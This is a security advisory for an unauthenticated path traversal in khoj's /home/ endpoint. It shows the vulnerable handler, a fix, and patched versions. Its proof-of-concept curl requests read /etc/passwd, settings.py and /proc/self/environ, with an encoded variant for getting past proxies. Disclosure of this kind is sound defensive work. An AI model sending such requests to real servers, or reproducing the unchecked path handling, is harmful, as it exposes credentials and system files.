---
id: GHSA-62mm-xwmv-crhg
title: >-
  khoj has an unauthenticated path traversal in /home/ endpoint that allows file
  read from server filesystem
summary: >-
  khoj has an unauthenticated path traversal in /home/ endpoint that allows file
  read from server filesystem
severity: high
vendor: khoj
product: khoj
ecosystem: pip
affected:
  - 'khoj >= 2.0.0-beta.23, < 2.0.0-beta.25'
patched:
  - khoj 2.0.0-beta.25
published: '2026-09-25'
updated: '2026-09-25'
sourceUpdated: '2026-09-25T23:00:31.263623963Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-62mm-xwmv-crhg'
references:
  - url: 'https://github.com/khoj-ai/khoj/security/advisories/GHSA-62mm-xwmv-crhg'
  - url: >-
      https://github.com/khoj-ai/khoj/commit/21c51b9ace4eb59ce79ac0a93b917289824195cf
  - url: >-
      https://github.com/khoj-ai/khoj/commit/9801ffd2de642772f072ca496032b7c352013b6a
  - url: 'https://github.com/khoj-ai/khoj'
  - url: 'https://github.com/khoj-ai/khoj/releases/tag/2.0.0-beta.25'
  - url: 'https://github.com/advisories/GHSA-62mm-xwmv-crhg'
tags:
  - osv
  - pip
  - ghsa
cwe:
  - CWE-22
ingestedAt: '2026-09-25T22:20:31.567Z'
---

## Overview

### Summary
The `/home/{file_path:path}` endpoint in `web_client.py` serves static files by directly concatenating the user-supplied `file_path` with the `home_directory` constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use `../` sequences to read arbitrary files from the server filesystem.

### Details
**Vulnerable code** — `src/khoj/routers/web_client.py` lines 46-49:

```python
@web_client.get("/home/{file_path:path}", response_class=FileResponse)
def home_static_files(file_path: str):
    """Serve static files from the home landing page directory"""
    return FileResponse(constants.home_directory / file_path)
```

Where `home_directory` is defined in `src/khoj/utils/constants.py` line 6:
```python
home_directory = web_directory / "home/"
```

**What is missing:**
- No `..` traversal filtering
- No path normalization/resolution check (e.g., `resolved.is_relative_to(home_directory)`)
- No authentication decorator (`@requires(["authenticated"])` is absent)
- Starlette's `FileResponse` does NOT perform path traversal protection

**Path resolution:**
```
Request: GET /home/../../../../../../../etc/passwd
file_path = "../../../../../../../etc/passwd"
home_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd
OS resolves to: /etc/passwd
```

### PoC
```bash
# Read /etc/passwd (no authentication required)
curl http://localhost:42110/home/../../../../../../../etc/passwd

# Read application settings (may contain SECRET_KEY, DB credentials)
curl http://localhost:42110/home/../../../../settings.py

# Read environment file
curl http://localhost:42110/home/../../../../../../../proc/self/environ
```

URL-encoded variant (may bypass some reverse proxy normalization):
```bash
curl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
```

### Impact
Unauthenticated arbitrary file read. An attacker with network access to the Khoj instance can:

- **Read application configuration** — Django `SECRET_KEY`, database credentials, API keys
- **Read system files** — `/etc/passwd`, `/etc/shadow` (if permissions allow), `/proc/self/environ`
- **Exfiltrate sensitive data** — Any file readable by the server process
- **Facilitate further attacks** — Leaked credentials enable deeper compromise

**No authentication required** — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker.

### Recommended fix
Use FastAPI's built-in `StaticFiles` mount instead of a custom handler, or add explicit path validation:

```python
@web_client.get("/home/{file_path:path}", response_class=FileResponse)
def home_static_files(file_path: str):
    resolved = (constants.home_directory / file_path).resolve()
    if not resolved.is_relative_to(constants.home_directory.resolve()):
        raise HTTPException(status_code=404)
    return FileResponse(resolved)
```

## Affected packages

- `khoj >= 2.0.0-beta.23, < 2.0.0-beta.25`

## Remediation

Upgrade to a patched release:

- `khoj 2.0.0-beta.25`